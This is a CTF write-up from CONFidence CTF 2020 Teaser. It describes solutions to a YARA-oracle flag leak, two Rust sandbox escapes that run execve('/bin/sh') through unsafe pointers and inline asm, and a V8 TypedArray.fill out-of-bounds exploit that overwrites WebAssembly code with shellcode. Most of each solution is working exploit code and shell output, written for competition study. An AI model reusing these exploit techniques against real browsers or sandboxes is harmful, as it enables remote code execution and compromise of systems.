CONFidence CTF 2020 Teaser Writeups
2020-03-15 20:54:02 Author: ptr-yudai.hatenablog.com(查看原文) 阅读量:127 收藏

I played CONFidence CTF 2020 in zer0pts. We got 786pts in total and reached 19th place.

f:id:ptr-yudai:20200315200516p:plain

It was pretty hard but a fun CTF.

Other members' writeups:

st98.github.io

Files and solvers for some challenges:

bitbucket.org

We can compile and apply some yara rules. I sent the following rule and it detected a file /opt/bin/getflag.

rule Test: test {
    strings:
        $str_upx = "p4{"
    condition:
        $str_upx
}

yoshiking found the 4th character could also be found with the simple rule. I wrote a script to leak the flag.

import json
import requests
import string

flag = "p4{"
while True:
    for c in "-}" + string.printable[:-6]:
        rule = """
        rule Test: test {{
          strings:
            $str = "{}"
          condition:
            $str
        }}
        """.format(flag + c)
        headers = {"Content-Type": "application/json"}
        payload = {
            "method": "query",
            "raw_yara": rule
        }
        r = requests.post("http://hidden.zajebistyc.tf/api/query/medium",
                          data=json.dumps(payload),
                          headers=headers)
        hashval = json.loads(r.text)["query_hash"]
        r = requests.get("http://hidden.zajebistyc.tf/api/matches/{}".format(hashval),
                         params={"offset":0, "limit":50})
        if json.loads(r.text)["matches"]:
            flag += c
            print(flag)
            break

yoshiking found the whole flag by hand before the script finds all the characters. How? :thinking_face:

The server executes some Rust codes. It seems crates such as std are banned except for println! and printf!.

I found the following line may enable unsafe function of rust.

#![allow(unsafe_code)]

However, as I am really new to Rust, I took a very hard way to solve this task. In rust we can use pointer like C in an unsafe block.

I put some function pointers on the stack. Also, I leaked a variable pointer and modified it to one of the function pointers. In an unsafe block, we can overwrite the data located at a specific address. So, by changing the function pointer to a shellcode address, we can get the shell just by calling the function.

I used "bring your own gadget" to prepare the shellcode in an executable region. For example, the following code creates xor esi, esi; xor edx, edx; mov al, 59, syscall gadget.

let code1 = 0x050f3bb0c031f631;

My exploit is very dirty as I'm new to Rust and also I was too careful to keep the code after the optimization.

#![allow(unsafe_code)]
fn dummy1(a: &str, b: usize, c: usize) {
    if c > b {
        dummy1(a, b+1, c+1);
        gadget(a, b, c);
    }
}
fn dummy2(a: &str, b: usize, c: usize) {
    if c > b {
        dummy2(a, b+1, c+1);
    }
}
fn gadget(c: &str, b: usize, a: usize) {
    let mut code1 = 1;
    let mut code2 = 1;
    if a < b {
        code1 += 0x050f3bb0c031f631;
        code2 += 0xdeadbeefcafebabe;
    } else {
        code1 += 0xbeef;
    }
    if a < b {
        gadget(c, a, code1-code2-1);
    }
}
fn evil() {
    unsafe {
        let leak_me = 0usize;
        let address = &leak_me as *const usize;
        println!("stack = {:p}", address);
        let xxx = address.offset(0x33 + 3);
        for _x in 0..3 {
            let ptr = xxx as *mut usize;
            let addr = *ptr as *mut usize;
            println!("{:p}: 0x{:x}", addr, *addr)
        }
        for x in 0..3 {
            let target = address.offset(0x33 + x);
            let ptr = target as *mut usize;
            let  proc_base = *ptr;
            println!("proc = 0x{:x}", proc_base);
            
            let ptr2 = xxx as *mut usize;
            let addr_gadget = *ptr2 as usize;
            *ptr = addr_gadget + 0x4f;
        }
    }
}
fn caller(f: fn(&str, usize, usize), g: fn(&str, usize, usize)) {
    let binsh = "/bin/sh";
    let table : [fn(&str, usize, usize); 5];
    let a = f as usize;
    let b = g as usize;
    if a == b {
        table = [g,g,gadget,g,g];
    } else {
        table = [f,f,gadget,f,f];
    }
    evil();
    let idx: usize;
    if a == b {
        idx = 0;
    } else {
        idx = 1;
    };
    table[idx](binsh, 0, 0);
    if a == b {
        caller(f, g);
    }
}
pub fn main() {
    caller(dummy1, dummy2);
}

Yay!

$ python solve.py 
[+] __init__: Successfully connected to crusty-sandbox.zajebistyc.tf:31003
[ptrlib]$ stack = 0x7ffde126d1b0
0x201170: 0x2444c74858ec8348
0x201170: 0x2444c74858ec8348
0x201170: 0x2444c74858ec8348
proc = 0x201000
proc = 0x201000
proc = 0x201000
ls
[ptrlib]$ app-c2bb5025a1bb
bin
get_flag
lib
lib64
proc
tmp
usr
./get_flag
[ptrlib]$ p4{cuRSed_c0d3-by_d3s1gn_ebf8745b92ef}

Now, the server accepts only 350 bytes. I reduced the code to 338 bytes, which worked on the crusty sandbox challenge.

#![allow(unsafe_code)]
fn p(a:&str,b:usize){let x=0x50f3bb0c031f631usize;println!("{}",x);if a==""{p(a,b);}}
fn e(){unsafe{let k=0usize;let x=&k as *const usize;let t=x.offset(14);let a=t as *mut usize;println!("{:x}",*a);*a=0x2019ca;}}
fn c(f:fn(&str,usize)){let t=[f,p,f];e();let i=0;t[i]("/bin/sh\0",0);if i>0{c(f)}}
pub fn main(){c(p);}

However, this code didn't work in the crsty sndbx server somehow. After several trial, I found asm! keyword.

So, we can solve these two challenges with the following code.

#![allow(unsafe_code)]
pub fn main(){
    unsafe {
        let buf = "/bin/sh\0";
        asm!("syscall"
             : 
             : "{rax}"(59), "{rdi}"(buf.as_ptr()), "{rsi}"(0), "{rdx}"(0)
             : "rcx", "r11", "memory"
             : "volatile");
    }
}

lol

$ python solve.py 
[+] __init__: Successfully connected to crsty-sndbx.zajebistyc.tf:31005
269
[ptrlib]$ ls
[ptrlib]$ app-c2bb5025a1bb
bin
get_flag
lib
lib64
proc
tmp
usr
./get_flag
[ptrlib]$ p4{my_sc0re_w@s_286_l3t_me_kn0w_1f_y0u_b3@t_1t_0adad38edc24}

Unfortunately this is an unintended solution, which most of the players may have used. However, I like this challenge as I learned a lot about Rust exploit.

It's a v8 exploit challenge. The important patch is this one.

@@ -131,13 +131,15 @@ BUILTIN(TypedArrayPrototypeFill) {
     if (!num->IsUndefined(isolate)) {
       ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
           isolate, num, Object::ToInteger(isolate, num));
-      start = CapRelativeIndex(num, 0, len);
+      //start = CapRelativeIndex(num, 0, len);
+      start = CapRelativeIndex(num, 0, 100000000);
 
       num = args.atOrUndefined(isolate, 3);
       if (!num->IsUndefined(isolate)) {
         ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
             isolate, num, Object::ToInteger(isolate, num));
-        end = CapRelativeIndex(num, 0, len);
+        //end = CapRelativeIndex(num, 0, len);
+        end = CapRelativeIndex(num, 0, 100000000);
       }
     }
   }

So, there's an error in the boundary check of TypedArray.Prototype.fill.

The following code causes a simple crash.

console.log(new Uint8Array([1,2,3]).fill(1, 0, 100));

As this is just an out-of-bound write vulnerability, we have to make a AAR/AAW. With this vulnerability, we can change the length of an adjacent array, which in turn causes a simple out of bounds. Also, we can overwrite the pointer, which enables us to read/write any addresses.

We get AAR/AAW primitives but how can we get the shell?

The V8 engine is pretty new in this challenge. I tried to use JIT code but it was not writable as the v8 is new.

My solution is WebAssembly. WebAssembly codes are also compiled like a normal JIT, but it's writable! The pointer to the wasm code could be found in the heap.

I overwrote the wasm region with my shellcode and could get the shell locally.

function zfill(n, digit) {
    var zeros = Array(digit + 1).join("0");
    return (zeros + n).slice(-digit);
}
function pretty(high, low) {
    return zfill(high.toString(16), 8) + zfill(low.toString(16), 8)
}

function LEAK() {
    var a = new Uint32Array([0xde, 0xad, 0xbe, 0xef]);
    var b = new Uint32Array([0xca, 0xfe, 0xba, 0xbe]);
    var c = new Uint32Array([0x12, 0x34, 0x56, 0x78]);
    a.fill(0x0100, 55, 56);
    var heap_hi = b[15];
    var heap_lo = b[16];
    a.fill(0x0004, 55, 56);
    delete a;
    delete b;
    delete c;
    return [heap_hi, heap_lo];
}

function ADDROF(x) {
    var a = new Uint32Array([0xde, 0xad, 0xbe, 0xef]);
    var b = new Uint32Array([0xca, 0xfe, 0xba, 0xbe]);
    var c = [x, x, x, x];
    a.fill(0x0100, 55, 56);
    var low = b[23];
    a.fill(0x0004, 55, 56);
    delete a;
    delete b;
    delete c;
    return low;
}

function AAR64(high, low) {
    var a = new Uint32Array([0xde, 0xad, 0xbe, 0xef]);
    var b = new Uint32Array([0xca, 0xfe, 0xba, 0xbe]);
    var c = new Uint32Array([0x12, 0x34, 0x56, 0x78]);
    a.fill(0x0100, 55, 56);
    var orig_hi = b[0x3a];
    var orig_lo = b[0x3b];
    b[0x3a] = high;
    b[0x3b] = (low - 8) | 1;
    var data_hi = c[1];
    var data_lo = c[0];
    b[0x3a] = orig_hi;
    b[0x3b] = orig_lo;
    a.fill(0x0004, 55, 56);
    delete a;
    delete b;
    delete c;
    return [data_hi, data_lo];
}

function AAW(high, low, array) {
    var a = new Uint32Array([0xde, 0xad, 0xbe, 0xef]);
    var b = new Uint32Array([0xca, 0xfe, 0xba, 0xbe]);
    var c = new Uint32Array([0x12, 0x34, 0x56, 0x78]);
    a.fill(0x0100, 55, 56);
    var orig_hi = b[0x3a];
    var orig_lo = b[0x3b];
    b[0x37] = array.length; 
    b[0x3a] = high;
    b[0x3b] = (low - 8) | 1;
    for(var i = 0; i < array.length; i++) {
        c[i] = array[i];
    }
    b[0x3a] = orig_hi;
    b[0x3b] = orig_lo;
    a.fill(0x0004, 55, 56);
    delete a;
    delete b;
    delete c;
    return;
}

var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;


var heap = LEAK();
low = ADDROF(f) - 0xb9;
console.log("&ptr(f) = " + pretty(heap[0], low));


code = AAR64(heap[0], low)
console.log(" ptr(f) = " + pretty(code[0], code[1]));


shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x90050f3b];
AAW(code[0], code[1], shellcode);


f();

Cool!

ptr:~/chromatic_aberration$ ./bin/d8 exploit.js 
&ptr(f) = 000016070820f0ac
 ptr(f) = 0000324066fb5000
$ whoami
ptr

However, my exploit didn't work in remote because the author set a very strict memory limitation: 64M. We can't even create one single wasm instance with 1M memory region.

Although I couldn't solve the challenge because of this restriction, it was a very fun challenge as this is my first browser exploit. I leaned a lot and enjoyed it :)


文章来源: https://ptr-yudai.hatenablog.com/entry/2020/03/15/205402
如有侵权请联系:admin#unsafe.sh